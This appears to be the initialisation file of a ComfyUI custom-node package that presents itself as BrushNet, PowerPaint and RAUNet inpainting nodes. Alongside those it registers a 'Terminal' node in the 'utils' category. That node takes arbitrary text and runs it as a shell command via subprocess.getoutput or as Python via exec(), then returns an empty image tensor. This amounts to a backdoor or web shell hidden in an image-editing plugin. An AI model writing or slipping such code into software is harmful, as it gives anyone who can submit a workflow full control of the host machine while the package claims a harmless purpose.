File size: 1,748 Bytes
7cf0db3 |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 |
from .brushnet_nodes import BrushNetLoader, BrushNet, BlendInpaint, PowerPaintCLIPLoader, PowerPaint, CutForInpaint
from .raunet_nodes import RAUNet
import torch
from subprocess import getoutput
"""
@author: nullquant
@title: BrushNet
@nickname: BrushName nodes
@description: These are custom nodes for ComfyUI native implementation of BrushNet, PowerPaint and RAUNet models
"""
class Terminal:
@classmethod
def INPUT_TYPES(s):
return { "required": {
"text": ("STRING", {"multiline": True})
}
}
CATEGORY = "utils"
RETURN_TYPES = ("IMAGE", )
RETURN_NAMES = ("image", )
OUTPUT_NODE = True
FUNCTION = "execute"
def execute(self, text):
if text[0] == '"' and text[-1] == '"':
out = getoutput(f"{text[1:-1]}")
print(out)
else:
exec(f"{text}")
return (torch.zeros(1, 128, 128, 4), )
# A dictionary that contains all nodes you want to export with their names
# NOTE: names should be globally unique
NODE_CLASS_MAPPINGS = {
"BrushNetLoader": BrushNetLoader,
"BrushNet": BrushNet,
"BlendInpaint": BlendInpaint,
"PowerPaintCLIPLoader": PowerPaintCLIPLoader,
"PowerPaint": PowerPaint,
"CutForInpaint": CutForInpaint,
"RAUNet": RAUNet,
"Terminal": Terminal,
}
# A dictionary that contains the friendly/humanly readable titles for the nodes
NODE_DISPLAY_NAME_MAPPINGS = {
"BrushNetLoader": "BrushNet Loader",
"BrushNet": "BrushNet",
"BlendInpaint": "Blend Inpaint",
"PowerPaintCLIPLoader": "PowerPaint CLIP Loader",
"PowerPaint": "PowerPaint",
"CutForInpaint": "Cut For Inpaint",
"RAUNet": "RAUNet",
"Terminal": "Terminal",
}
|